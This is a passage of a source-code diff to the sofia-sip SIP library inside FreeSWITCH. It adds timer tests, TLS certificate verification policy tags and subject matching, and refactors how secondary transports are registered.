+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_root.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -61,6 +61,8 @@
 #include <pthread.h>
 #endif
 
+#define ALARM_IN_SECONDS 120
+
 struct test_ep_s {
   test_ep_t     *next, **prev, **list;
   int           i;
@@ -99,6 +101,8 @@
 
   unsigned   rt_executed:1;
 
+  unsigned   rt_t1:1, rt_t2:1;
+
   unsigned :0;
 
   test_ep_at rt_ep[5];
@@ -161,7 +165,6 @@
   END();
 }
 
-
 #if SU_HAVE_PTHREADS
 
 #include <pthread.h>
@@ -589,6 +592,61 @@
     rt->rt_sent_reporter = 1;
 }
 
+static void expire1(root_test_t *rt, su_timer_t *t, su_timer_arg_t *arg)
+{
+  (void)arg;
+  rt->rt_t1 = 1;
+}
+
+static void expire2(root_test_t *rt, su_timer_t *t, su_timer_arg_t *arg)
+{
+  (void)arg;
+  rt->rt_t2 = 1;
+}
+
+int timer_test(root_test_t rt[1])
+{
+  BEGIN();
+
+  su_timer_t *t1, *t2;
+  su_duration_t defer;
+
+  TEST_1(t1 = su_timer_create(su_root_task(rt->rt_root), 100));
+  TEST_1(t2 = su_timer_create(su_root_task(rt->rt_root), 110));
+
+  rt->rt_t1 = rt->rt_t2 = 0;
+
+  TEST_1(su_root_step(rt->rt_root, 0) == SU_WAIT_FOREVER);
+
+  TEST_1(su_root_set_max_defer(rt->rt_root, 30000) != -1);
+  TEST(su_root_get_max_defer(rt->rt_root), 30000);
+
+  if (su_timer_deferrable(t1, 1) == 0) {
+    /*
+     * If only a deferrable timer is set, su_root_step() should return
+     * about the maximum defer time, which now defaults to 15 seconds
+     */
+    TEST(su_timer_set(t1, expire1, NULL), 0);
+    defer = su_root_step(rt->rt_root, 0);
+    TEST_1(defer > 100);
+  }
+  else {
+    TEST(su_timer_set(t1, expire1, NULL), 0);
+  }
+
+  TEST(su_timer_set(t2, expire2, NULL), 0);
+
+  while (su_root_step(rt->rt_root, 100) != SU_WAIT_FOREVER)
+    ;
+
+  TEST_1(rt->rt_t1 && rt->rt_t2);
+
+  su_timer_destroy(t1);
+  su_timer_destroy(t2);
+
+  END();
+}
+
 static int set_execute_bit_and_return_3(void *void_rt)
 {
   root_test_t *rt = void_rt;
@@ -612,13 +670,34 @@
     su_task_cmp(su_msg_to(msg), su_task_null) == 0;
 }
 
-static int clone_test(root_test_t rt[1])
+static void expire1destroy(root_test_t *rt, su_timer_t *t, su_timer_arg_t *arg)
 {
+  (void)arg;
+  rt->rt_t1 = 1;
+  su_timer_destroy(t);
+}
+
+static int set_deferrable_timer(void *void_rt)
+{
+  root_test_t *rt = void_rt;
+  su_timer_t *t1;
+
+  TEST_1(t1 = su_timer_create(su_clone_task(rt->rt_clone), 100));
+  TEST_1(su_timer_deferrable(t1, 1) == 0);
+  TEST(su_timer_set(t1, expire1destroy, NULL), 0);
+
+  return 0;
+}
+
+static int clone_test(root_test_t rt[1], int multithread)
+{
   BEGIN();
 
   su_msg_r m = SU_MSG_R_INIT;
   int retval;
 
+  su_root_threading(rt->rt_root, multithread);
+
   rt->rt_fail_init = 0;
   rt->rt_fail_deinit = 0;
   rt->rt_success_init = 0;
@@ -635,6 +714,10 @@
   TEST_1(rt->rt_fail_init);
   TEST_1(rt->rt_fail_deinit);
 
+  /* Defer longer than maximum allowed run time   */
+  TEST_1(su_root_set_max_defer(rt->rt_root, ALARM_IN_SECONDS * 1000) != -1);
+  TEST(su_root_get_max_defer(rt->rt_root), ALARM_IN_SECONDS * 1000);
+
   TEST(su_clone_start(rt->rt_root,
 		      rt->rt_clone,
 		      rt,
@@ -643,6 +726,7 @@
   TEST_1(rt->rt_success_init);
   TEST_1(!rt->rt_success_deinit);
 
+  /* Test su_task_execute() */
   retval = -1;
   rt->rt_executed = 0;
   TEST(su_task_execute(su_clone_task(rt->rt_clone),
@@ -666,6 +750,28 @@
 
   TEST(rt->rt_msg_received, 1);
 
+  if (multithread) {
+    TEST_1(su_task_is_running(su_clone_task(rt->rt_clone)));
+  }
+  else {
+    TEST_1(!su_task_is_running(su_clone_task(rt->rt_clone)));
+  }
+
+  /* Test su_wakeup() */
+  if (multithread) {
+    retval = -1;
+    rt->rt_t1 = 0;
+    TEST(su_task_execute(su_clone_task(rt->rt_clone),
+			 set_deferrable_timer, rt,
+			 &retval), 0);
+    TEST(retval, 0);
+
+    while (rt->rt_t1 == 0) {
+      TEST(su_root_step(rt->rt_root, 100), SU_WAIT_FOREVER);
+      su_task_wakeup(su_clone_task(rt->rt_clone));
+    }
+  }
+
   /* Make sure 3-way handshake is done as expected */
   TEST(su_msg_create(m,
 		     su_clone_task(rt->rt_clone),
@@ -707,10 +813,21 @@
   exit(exitcode);
 }
 
+#if HAVE_ALARM
+#include <signal.h>
+
+static RETSIGTYPE sig_alarm(int s)
+{
+  fprintf(stderr, "%s: FAIL! test timeout!\n", name);
+  exit(1);
+}
+#endif
+
 int main(int argc, char *argv[])
 {
   root_test_t *rt, rt0[1] = {{{ SU_HOME_INIT(rt0) }}}, rt1[1];
   int retval = 0;
+  int no_alarm = 0;
   int i;
 
   struct {
@@ -746,6 +863,8 @@
       rt->rt_flags |= tst_verbatim;
     else if (strcmp(argv[i], "-a") == 0)
       rt->rt_flags |= tst_abort;
+    else if (strcmp(argv[i], "--no-alarm") == 0)
+      no_alarm = 1;
 #if SU_HAVE_IN6
     else if (strcmp(argv[i], "-6") == 0)
       rt->rt_family = AF_INET6;
@@ -754,6 +873,13 @@
       usage(1);
   }
 
+#if HAVE_ALARM
+  if (!no_alarm) {
+    signal(SIGALRM, sig_alarm);
+    alarm(ALARM_IN_SECONDS);
+  }
+#endif
+
 #if HAVE_OPEN_C
   rt->rt_flags |= tst_verbatim;
 #endif
@@ -770,10 +896,9 @@
     retval |= init_test(rt, prefer[i].name, prefer[i].create, prefer[i].start);
     retval |= register_test(rt);
     retval |= event_test(rt);
-    su_root_threading(rt->rt_root, 1);
-    retval |= clone_test(rt);
-    su_root_threading(rt->rt_root, 0);
-    retval |= clone_test(rt);
+    retval |= timer_test(rt);
+    retval |= clone_test(rt, 1);
+    retval |= clone_test(rt, 0);
     retval |= deinit_test(rt);
   } while (prefer[++i].create);
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,9 @@
 #ifndef SU_H
 #include <sofia-sip/su.h>
 #endif
+#ifndef SU_STRLST_H
+#include <sofia-sip/su_strlst.h>
+#endif
 #ifndef SU_WAIT_H
 #include <sofia-sip/su_wait.h>
 #endif
@@ -267,6 +270,9 @@
 /** Test if transport has TLS. */
 TPORT_DLL int tport_has_tls(tport_t const *tport);
 
+/** Test if transport provided a verified certificate chain (TLS only) */
+TPORT_DLL int tport_is_verified(tport_t const *tport);
+
 /** Return true if transport is being updated. */
 TPORT_DLL int tport_is_updating(tport_t const *self);
 
@@ -332,6 +338,13 @@
 TPORT_DLL int tport_delivered_from(tport_t *tp, msg_t const *msg,
 				   tp_name_t name[1]);
 
+/** Return TLS Subjects provided by the source transport */
+TPORT_DLL su_strlst_t const *tport_delivered_from_subjects(tport_t *tp, 
+                                                           msg_t const *msg);
+
+/** Check if the given subject string is found in su_strlst_t */
+TPORT_DLL int tport_subject_search(char const *, su_strlst_t const *);
+
 /** Check if transport named is already resolved */
 TPORT_DLL int tport_name_is_resolved(tp_name_t const *);
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport_tag.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport_tag.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/sofia-sip/tport_tag.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -186,18 +186,59 @@
 TPORT_DLL extern tag_typedef_t tptag_tls_version_ref;
 #define TPTAG_TLS_VERSION_REF(x) tptag_tls_version_ref, tag_uint_vr(&(x))
 
+enum tport_tls_verify_policy {
+  TPTLS_VERIFY_NONE         = 0x0,
+  TPTLS_VERIFY_INCOMING     = 0x1,
+  TPTLS_VERIFY_IN           = 0x1,
+  TPTLS_VERIFY_OUTGOING     = 0x2,
+  TPTLS_VERIFY_OUT          = 0x2,
+  TPTLS_VERIFY_ALL          = 0x3,
+  TPTLS_VERIFY_SUBJECTS_IN  = 0x5, /* 0x4 | TPTLS_VERIFY_INCOMING */
+  TPTLS_VERIFY_SUBJECTS_OUT = 0xA, /* 0x8 | TPTLS_VERIFY_OUTGOING */
+  TPTLS_VERIFY_SUBJECTS_ALL = 0xF,
+};
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_policy;
+#define TPTAG_TLS_VERIFY_POLICY(x) tptag_tls_verify_policy, tag_uint_v((x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_policy_ref;
+#define TPTAG_TLS_VERIFY_POLICY_REF(x) tptag_tls_verify_policy_ref, tag_uint_vr(&(x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_depth;
+#define TPTAG_TLS_VERIFY_DEPTH(x) tptag_tls_verify_depth, tag_uint_v((x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_depth_ref;
+#define TPTAG_TLS_VERIFY_DEPTH_REF(x) \
+             tptag_tls_verify_depth_ref, tag_uint_vr(&(x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_date;
+#define TPTAG_TLS_VERIFY_DATE(x) tptag_tls_verify_date, tag_uint_v((x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_date_ref;
+#define TPTAG_TLS_VERIFY_DATE_REF(x) \
+             tptag_tls_verify_date_ref, tag_uint_vr(&(x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_subjects;
+#define TPTAG_TLS_VERIFY_SUBJECTS(x) tptag_tls_verify_subjects, tag_cptr_v((x))
+
+TPORT_DLL extern tag_typedef_t tptag_tls_verify_subjects_ref;
+#define TPTAG_TLS_VERIFY_SUBJECTS_REF(x) \
+             tptag_tls_verify_subjects_ref, tag_cptr_vr(&(x), (x))
+
+/* TPTAG_TLS_VERIFY_PEER is depreciated - Use TPTAG_TLS_VERIFY_POLICY */
 TPORT_DLL extern tag_typedef_t tptag_tls_verify_peer;
-#define TPTAG_TLS_VERIFY_PEER(x) tptag_tls_verify_peer, tag_uint_v((x))
+#define TPTAG_TLS_VERIFY_PEER(x) TPTAG_TLS_VERIFY_POLICY( (x) ? \
+           TPTLS_VERIFY_ALL : TPTLS_VERIFY_NONE)
 
 TPORT_DLL extern tag_typedef_t tptag_tls_verify_peer_ref;
 #define TPTAG_TLS_VERIFY_PEER_REF(x) tptag_tls_verify_peer_ref, tag_uint_vr(&(x))
 
 #if 0
-TPORT_DLL extern tag_typedef_t tptag_trusted;
-#define TPTAG_TRUSTED(x) tptag_trusted, tag_bool_v((x))
+TPORT_DLL extern tag_typedef_t tport_x509_subject;
+#define TPTAG_X509_SUBJECT(x) tptag_x509_subject, tag_str_v((x))
 
-TPORT_DLL extern tag_typedef_t tptag_trusted_ref;
-#define TPTAG_TRUSTED_REF(x) tptag_trusted_ref, tag_bool_vr(&(x))
+TPORT_DLL extern tag_typedef_t tptag_x509_subject_ref;
+#define TPTAG_X509_SUBJECT_REF(x) tptag_x509_subject_ref, tag_str_vr(&(x))
 #endif
 
 TPORT_DLL extern tag_typedef_t tptag_debug_drop;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/test_tport.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/test_tport.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/test_tport.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -472,6 +472,7 @@
   tp_name_t const *tpn;
   tport_t *tp;
   unsigned idle;
+  int logging = -1;
 
   BEGIN();
 
@@ -552,6 +553,15 @@
 			TPTAG_IDLE_REF(idle),
 			TAG_END()), 1);
 
+  /* Check that logging tag works */
+  TEST(tport_get_params(tt->tt_srv_tports,
+			TPTAG_LOG_REF(logging),
+			TAG_END()), 1);
+  TEST(tport_set_params(tt->tt_srv_tports,
+			TPTAG_LOG(logging),
+			TAG_END()), 1);
+
+
   for (tp = tport_primaries(tt->tt_srv_tports); tp; tp = tport_next(tp))
     TEST_S(tport_name(tp)->tpn_ident, "server");
 
@@ -1298,6 +1308,7 @@
   TEST_1(pending_client_close > 0);
   tp = tt->tt_rtport;
   pending_server_close = tport_pend(tp, NULL, server_closed_callback, NULL);
+
   TEST_1(pending_server_close > 0);
 
   /* Send a largish message */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,7 +37,7 @@
 
 #include "config.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su.h>
 #include <sofia-sip/su_errno.h>
 #include <sofia-sip/su_alloc.h>
@@ -268,7 +268,12 @@
 int tport_has_tls(tport_t const *self)
 {
   return self && self->tp_pri->pri_has_tls;
+}
 
+/** Return true if transport certificate verified successfully */
+int tport_is_verified(tport_t const *self)
+{
+  return tport_has_tls(self) && self->tp_is_connected && self->tp_verified;
 }
 
 /** Return true if transport is being updated. */
@@ -399,9 +404,7 @@
 		    char const * const transports[],  enum tport_via public,
 		    tagi_t *tags),
 
-  tport_setname(tport_t *, char const *, su_addrinfo_t const *, char const *),
   tport_wakeup_pri(su_root_magic_t *m, su_wait_t *w, tport_t *self),
-  tport_wakeup(su_root_magic_t *m, su_wait_t *w, tport_t *self),
   tport_base_wakeup(tport_t *self, int events),
   tport_connected(su_root_magic_t *m, su_wait_t *w, tport_t *self),
   tport_resolve(tport_t *self, msg_t *msg, tp_name_t const *tpn),
@@ -728,7 +731,7 @@
   /* Create a primary transport object for another transport. */
   pri = tport_alloc_primary(mr, vtable, tpn, ai, tags, &culprit);
   if (pri == NULL)
-    return TPORT_LISTEN_ERROR(errno, culprit);
+    return TPORT_LISTEN_ERROR(su_errno(), culprit);
 
   if (pri->pri_primary->tp_socket != INVALID_SOCKET) {
     int index = 0;
@@ -949,13 +952,10 @@
 			    su_addrinfo_t *real_ai,
 			    tp_name_t const *tpn)
 {
-  tport_master_t *mr = pri->pri_master;
   tport_t *self = NULL;
 
   su_socket_t s, server_socket;
-  su_wait_t wait[1] = { SU_WAIT_INIT };
   su_wakeup_f wakeup = tport_wakeup;
-  int index = 0;
   int events = SU_WAIT_IN | SU_WAIT_ERR;
 
   int err;
@@ -967,7 +967,6 @@
 #define TPORT_CONNECT_ERROR(errno, what)			     \
   return							     \
     ((void)(err = errno,					     \
-	    su_wait_destroy(wait),				     \
 	    (SU_LOG_LEVEL >= errlevel ?				     \
 	     su_llog(tport_log, errlevel,			     \
 		     "%s(%p): %s(pf=%d %s/%s): %s\n",			\
@@ -986,7 +985,7 @@
 
   what = "tport_alloc_secondary";
   if ((self = tport_alloc_secondary(pri, s, 0, &what)) == NULL)
-    TPORT_CONNECT_ERROR(errno, what);
+    TPORT_CONNECT_ERROR(su_errno(), what);
 
   self->tp_conn_orient = 1;
 
@@ -1013,7 +1012,7 @@
     TPORT_CONNECT_ERROR(su_errno(), tport_setname);
 
   /* Try to have a non-blocking connect().
-   * The su_wait_create() below makes the socket non-blocking anyway. */
+   * The tport_register_secondary() below makes the socket non-blocking anyway. */
   su_setblocking(s, 0);
 
   if (connect(s, ai->ai_addr, (socklen_t)(ai->ai_addrlen)) == SOCKET_ERROR) {
@@ -1029,15 +1028,9 @@
     self->tp_is_connected = 1;
   }
 
-  if (su_wait_create(wait, s, self->tp_events = events) == -1)
-    TPORT_CONNECT_ERROR(su_errno(), su_wait_create);
+  if (tport_register_secondary(self, wakeup, events) == -1)
+    TPORT_CONNECT_ERROR(su_errno(), tport_register_secondary);
 
-  /* Register receiving function with events specified above */
-  if ((index = su_root_register(mr->mr_root, wait, wakeup, self, 0)) == -1)
-    TPORT_CONNECT_ERROR(su_errno(), su_root_register);
-
-  self->tp_index = index;
-
   if (ai == real_ai) {
     SU_DEBUG_5(("%s(%p): %s to " TPN_FORMAT "\n",
 		__func__, (void *)self, what, TPN_ARGS(self->tp_name)));
@@ -1049,11 +1042,35 @@
 		TPN_ARGS(self->tp_name)));
   }
 
-  tprb_append(&pri->pri_open, self);
-
   return self;
 }
 
+/** Register a new secondary transport. @internal */
+int tport_register_secondary(tport_t *self, su_wakeup_f wakeup, int events)
+{
+  int i;
+  su_root_t *root = tport_is_secondary(self) ? self->tp_master->mr_root : NULL;
+  su_wait_t wait[1] = { SU_WAIT_INIT };
+
+  if (root != NULL
+      /* Create wait object with appropriate events. */
+      &&
+      su_wait_create(wait, self->tp_socket, events) != -1
+      /* Register socket to root */
+      &&
+      (i = su_root_register(root, wait, wakeup, self, 0)) != -1) {
+
+    self->tp_index = i;
+    self->tp_events = events;
+
+    tprb_append(&self->tp_pri->pri_open, self);
+    return 0;
+  }
+
+  su_wait_destroy(wait);
+  return -1;
+}
+
 /** Destroy a secondary transport. @internal */
 void tport_zap_secondary(tport_t *self)
 {
@@ -1179,6 +1196,7 @@
   int n;
   tport_params_t const *tpp;
   int connect;
+  tport_master_t *mr = self->tp_master;
 
   if (self == NULL)
     return su_seterrno(EINVAL);
@@ -1210,6 +1228,10 @@
 		      TPTAG_PUBLIC(self->tp_pri ?
 				   self->tp_pri->pri_public : 0)),
 	       TPTAG_TOS(tpp->tpp_tos),
+	       TAG_IF((void *)self == (void *)mr,
+		      TPTAG_LOG(mr->mr_log != 0)),
+	       TAG_IF((void *)self == (void *)mr,
+		      TPTAG_DUMP(mr->mr_dump)),
 	       TAG_END());
 
   ta_end(ta);
@@ -1304,7 +1326,7 @@
   tpp->tpp_pong2ping = pong2ping;
 
   if (memcmp(tpp0, tpp, sizeof tpp) == 0)
-    return n;
+    return n + m;
 
   if (tport_is_secondary(self) &&
       self->tp_params == self->tp_pri->pri_primary->tp_params) {
@@ -1387,7 +1409,7 @@
       continue;
     if (vtable->vtp_public != public)
       continue;
-    if (strcasecmp(vtable->vtp_name, protoname))
+    if (!su_casematch(protoname, vtable->vtp_name))
       continue;
 
     assert(vtable->vtp_pri_size >= sizeof (tport_primary_t));
@@ -1448,8 +1470,8 @@
  *
  * @TAGS
  * TPTAG_SERVER(), TPTAG_PUBLIC(), TPTAG_IDENT(), TPTAG_HTTP_CONNECT(),
- * TPTAG_CERTIFICATE(), TPTAG_TLS_VERSION(), TPTAG_TLS_VERIFY_PEER, and tags used with
- * tport_set_params(), especially TPTAG_QUEUESIZE().
+ * TPTAG_CERTIFICATE(), TPTAG_TLS_VERSION(), TPTAG_TLS_VERIFY_POLICY, and 
+ * tags used with tport_set_params(), especially TPTAG_QUEUESIZE().
  */
 int tport_tbind(tport_t *self,
 		tp_name_t const *tpn,
@@ -1491,9 +1513,9 @@
     server = 0;
 
   if (server)
-    retval = tport_bind_server(mr, mytpn, transports, public, ta_args(ta));
+    retval = tport_bind_server(mr, mytpn, transports, (enum tport_via)public, ta_args(ta));
   else
-    retval = tport_bind_client(mr, mytpn, transports, public, ta_args(ta));
+    retval = tport_bind_client(mr, mytpn, transports, (enum tport_via)public, ta_args(ta));
 
   ta_end(ta);
 
@@ -1571,7 +1593,7 @@
 		      enum tport_via public,
 		      tagi_t *tags)
 {
-  char hostname[256];
+  char hostname[TPORT_HOSTPORTSIZE];
   char const *canon = NULL, *host, *service;
   int error = 0, not_supported, family = 0;
   tport_primary_t *pri = NULL, **tbf;
@@ -1591,10 +1613,12 @@
     host = NULL;
   }
 #ifdef SU_HAVE_IN6
-  else if (tpn->tpn_host && tpn->tpn_host[0] == '[') {
+  else if (host_is_ip6_reference(tpn->tpn_host)) {
     /* Remove [] around IPv6 addresses. */
-    host = strcpy(hostname, tpn->tpn_host + 1);
-    hostname[strlen(hostname) - 1] = '\0';
+    size_t len = strlen(tpn->tpn_host);
+    assert(len < sizeof hostname);
+    host = memcpy(hostname, tpn->tpn_host + 1, len - 2);
+    hostname[len - 2] = '\0';
   }
 #endif
   else
@@ -1781,8 +1805,7 @@
   for (i = 0, N = 0; transports[i] && N < TPORT_N; i++) {
     su_addrinfo_t *ai = &hints[N];
 
-    if (strcasecmp(transports[i], protocol) != 0 &&
-	strcmp(protocol, tpn_any) != 0)
+    if (!su_casematch(protocol, transports[i]) && !su_strmatch(protocol, "*"))
       continue;
 
     /* Resolve protocol, skip unknown transport protocols. */
@@ -2351,7 +2374,6 @@
 
 /** Set transport object name. @internal
  */
-static
 int tport_setname(tport_t *self,
 		  char const *protoname,
 		  su_addrinfo_t const *ai,
@@ -2402,25 +2424,25 @@
   hints->ai_canonname = (char *)proto;
 
 #if HAVE_TLS
-  if (strcasecmp(proto, "tls") == 0)
+  if (su_casematch(proto, "tls"))
     proto = "tcp";
 #endif
 
 #if HAVE_SCTP
-  if (strcasecmp(proto, "sctp") == 0) {
+  if (su_casematch(proto, "sctp")) {
     hints->ai_protocol = IPPROTO_SCTP;
     hints->ai_socktype = SOCK_STREAM;
     return 0;
   }
 #endif
 
-  if (strcasecmp(proto, "udp") == 0) {
+  if (su_casematch(proto, "udp")) {
     hints->ai_protocol = IPPROTO_UDP;
     hints->ai_socktype = SOCK_DGRAM;
     return 0;
   }
 
-  if (strcasecmp(proto, "tcp") == 0) {
+  if (su_casematch(proto, "tcp")) {
     hints->ai_protocol = IPPROTO_TCP;
     hints->ai_socktype = SOCK_STREAM;
     return 0;
@@ -2577,48 +2599,38 @@
   ai->ai_addr = &su->su_sa, ai->ai_addrlen = sulen;
 
   /* Alloc a new transport object, then register socket events with it */
-  self = tport_alloc_secondary(pri, s, 1, &reason);
-
-  if (self) {
-    int i;
-    su_root_t *root = self->tp_master->mr_root;
-    su_wakeup_f wakeup = tport_wakeup;
+  if ((self = tport_alloc_secondary(pri, s, 1, &reason)) == NULL) {
+    SU_DEBUG_3(("%s(%p): incoming secondary on "TPN_FORMAT
+                " failed. reason = %s\n", __func__, pri, 
+                TPN_ARGS(pri->pri_primary->tp_name), reason));
+    return 0;
+  }
+  else {
     int events = SU_WAIT_IN|SU_WAIT_ERR|SU_WAIT_HUP;
-    su_wait_t wait[1] = { SU_WAIT_INIT };
 
     SU_CANONIZE_SOCKADDR(su);
 
-    if (/* Create wait object with appropriate events. */
-	su_wait_create(wait, s, events) != -1
-	/* Register socket to root */
+    if (/* Name this transport */
+        tport_setname(self, pri->pri_protoname, ai, NULL) != -1 
+	/* Register this secondary */ 
 	&&
-	(i = su_root_register(root, wait, wakeup, self, 0)) != -1) {
+	tport_register_secondary(self, tport_wakeup, events) != -1) {
 
-      self->tp_index     = i;
       self->tp_conn_orient = 1;
       self->tp_is_connected = 1;
-      self->tp_events = events;
 
-      if (tport_setname(self, pri->pri_protoname, ai, NULL) != -1) {
-	SU_DEBUG_5(("%s(%p): new connection from " TPN_FORMAT "\n",
-		    __func__,  (void *)self, TPN_ARGS(self->tp_name)));
+      SU_DEBUG_5(("%s(%p): new connection from " TPN_FORMAT "\n",
+                  __func__,  (void *)self, TPN_ARGS(self->tp_name)));
 
-	tprb_append(&pri->pri_open, self);
-
-	/* Return succesfully */
-	return 0;
-      }
+      return 0;
     }
-    else
-      su_wait_destroy(wait);
 
     /* Failure: shutdown socket,  */
     tport_close(self);
     tport_zap_secondary(self);
+    self = NULL;
   }
 
-  /* XXX - report error ? */
-
   return 0;
 }
 
@@ -2727,7 +2739,7 @@
 }
 
 /** Process events for connected socket  */
-static int tport_wakeup(su_root_magic_t *magic, su_wait_t *w, tport_t *self)
+int tport_wakeup(su_root_magic_t *magic, su_wait_t *w, tport_t *self)
 {
   int events = su_wait_events(w, self->tp_socket);
 
@@ -2805,8 +2817,9 @@
   if (!tport_is_secondary(self))
     return;
 
-  /* End of stream */
-  tport_shutdown0(self, 0);
+  /* Shutdown completely if there are no queued messages */
+  /* Problem reported by Arsen Chaloyan */
+  tport_shutdown0(self, tport_has_queued(self) ? 0 : 2);
   tport_set_secondary_timer(self);
 }
 
@@ -2941,6 +2954,7 @@
   tport_t *ref;
   int error;
   struct tport_delivery *d;
+  char ipaddr[SU_ADDRSIZE + 2];
 
   assert(msg);
 
@@ -2951,7 +2965,6 @@
   *d->d_from = *self->tp_name;
 
   if (tport_is_primary(self)) {
-    char ipaddr[SU_ADDRSIZE + 2];
     su_sockaddr_t const *su = msg_addr(msg);
 
 #if SU_HAVE_IN6
@@ -2994,16 +3007,16 @@
 
   ref = tport_incref(self);
 
-
   if (self->tp_pri->pri_vtable->vtp_deliver) {
     self->tp_pri->pri_vtable->vtp_deliver(self, msg, now);
   }
   else
     tport_base_deliver(self, msg, now);
 
+  memset(d->d_from, 0, sizeof d->d_from);
+  d->d_msg = NULL;
+
   tport_decref(&ref);
-
-  d->d_msg = NULL;
 }
 
 /** Pass message to the protocol stack */
@@ -3039,6 +3052,17 @@
   }
 }
 
+/** Return TLS Subjects provided by the source transport */
+su_strlst_t const *tport_delivered_from_subjects(tport_t *tp, msg_t const *msg)
+{
+  if (tp && msg && msg == tp->tp_master->mr_delivery->d_msg) {
+    tport_t *tp_sec = tp->tp_master->mr_delivery->d_tport;
+    return (tp_sec) ? tp_sec->tp_subjects : NULL;
+  }
+  else
+    return NULL;
+}
+
 /** Return UDVM used to decompress the message. */
 int
 tport_delivered_with_comp(tport_t *tp, msg_t const *msg,
@@ -3053,6 +3077,57 @@
   return 0;
 }
 
+/** Search for subject in list of TLS Certificate subjects */
+int
+tport_subject_search(char const *subject, su_strlst_t const *lst)
+{
+  usize_t idx, ilen;
+  const char *subjuri;
+
+  if (!subject || su_strmatch(tpn_any, subject))
+    return 1;
+
+  if (!lst)
+    return 0;
+
+  /* Check if subject is a URI */
+  if (su_casenmatch(subject,"sip:",4) || su_casenmatch(subject,"sips:",5))
+    subjuri = subject + su_strncspn(subject,5,":") + 1;
+  else
+    subjuri = NULL;
+
+  ilen = su_strlst_len(lst);
+
+  for (idx = 0; idx < ilen; idx++) {
+    const char *lsturi, *lststr;
+
+    lststr = su_strlst_item(lst, idx);
+
+    /* check if lststr is a URI (sips URI is an unacceptable cert subject) */
+    if (su_casenmatch(lststr,"sip:",4))
+      lsturi = lststr + su_strncspn(lststr,4,":") + 1;
+    else
+      lsturi = NULL;
+
+
+    /* Match two SIP Server Identities */
+    if (host_cmp(subjuri ? subjuri : subject, lsturi ? lsturi : lststr) == 0)
+      return 1;
+#if 0
+    /* XXX - IETF drafts forbid wildcard certs */
+    if (!subjuri && !lsturi && su_strnmatch("*.", lststr, 2)) {
+      size_t urioffset = su_strncspn(subject, 64, ".");
+      if (urioffset) {
+        if (su_casematch(subject + urioffset, lststr+1))
+          return 1;
+      }
+    }
+#endif
+  }
+
+  return 0;
+}
+
 /** Allocate message for N bytes,
  *  return message buffer as a iovec
  */
@@ -3136,7 +3211,7 @@
  *
  * @TAGS
  * TPTAG_MTU(), TPTAG_REUSE(), TPTAG_CLOSE_AFTER(), TPTAG_SDWN_AFTER(),
- * TPTAG_FRESH(), TPTAG_COMPARTMENT().
+ * TPTAG_FRESH(), TPTAG_COMPARTMENT(), TPTAG_X509_SUBJECT()
  */
 tport_t *tport_tsend(tport_t *self,
 		     msg_t *msg,
@@ -3316,7 +3391,7 @@
 
   /* Prepare message for sending - i.e., encode it */
   if (msg_prepare(msg) < 0) {
-    msg_set_errno(msg, errno);
+    msg_set_errno(msg, errno);	/* msg parser uses plain errno. Hmph. */
     return -1;
   }
 
@@ -3667,7 +3742,7 @@
   if (self && self->tp_queue) {
     unsigned short i, N = self->tp_params->tpp_qsize;
 
-    for (i = self->tp_qhead; self->tp_queue[i]; i = (i + 1) % N)
+    for (i = self->tp_qhead; self->tp_queue[i] && retval < N; i = (i + 1) % N)
       retval++;
   }
 
@@ -3913,29 +3988,21 @@
   hints->ai_socktype = self->tp_addrinfo->ai_socktype;
   hints->ai_protocol = self->tp_addrinfo->ai_protocol;
 
-#if HAVE_OPEN_C
-  if (host_is_ip_address(tpn->tpn_host))
-    hints->ai_flags |= AI_NUMERICHOST;
-#endif
-
-  if (tpn->tpn_host[0] == '[') {
+  if (host_is_ip6_reference(tpn->tpn_host)) {
     /* Remove [] around IPv6 address */
-    char *end;
+    size_t len = strlen(tpn->tpn_host);
+    assert(len < sizeof ipaddr);
+    host = memcpy(ipaddr, tpn->tpn_host + 1, len - 2);
+    ipaddr[len - 2] = '\0';
     hints->ai_flags |= AI_NUMERICHOST;
-    host = strncpy(ipaddr, tpn->tpn_host +  1, sizeof(ipaddr) - 1);
-    ipaddr[sizeof(ipaddr) - 1] = '\0';
-
-    if ((end = strchr(host, ']'))) {
-      *end = 0;
-    }
-    else {
-      SU_DEBUG_3(("tport_resolve: bad IPv6 address\n"));
-      msg_set_errno(msg, EINVAL);
-      return -1;
-    }
   }
-  else
+  else {
+#if HAVE_OPEN_C
+    if (host_is_ip_address(tpn->tpn_host))
+      hints->ai_flags |= AI_NUMERICHOST;
+#endif
     host = tpn->tpn_host;
+  }
 
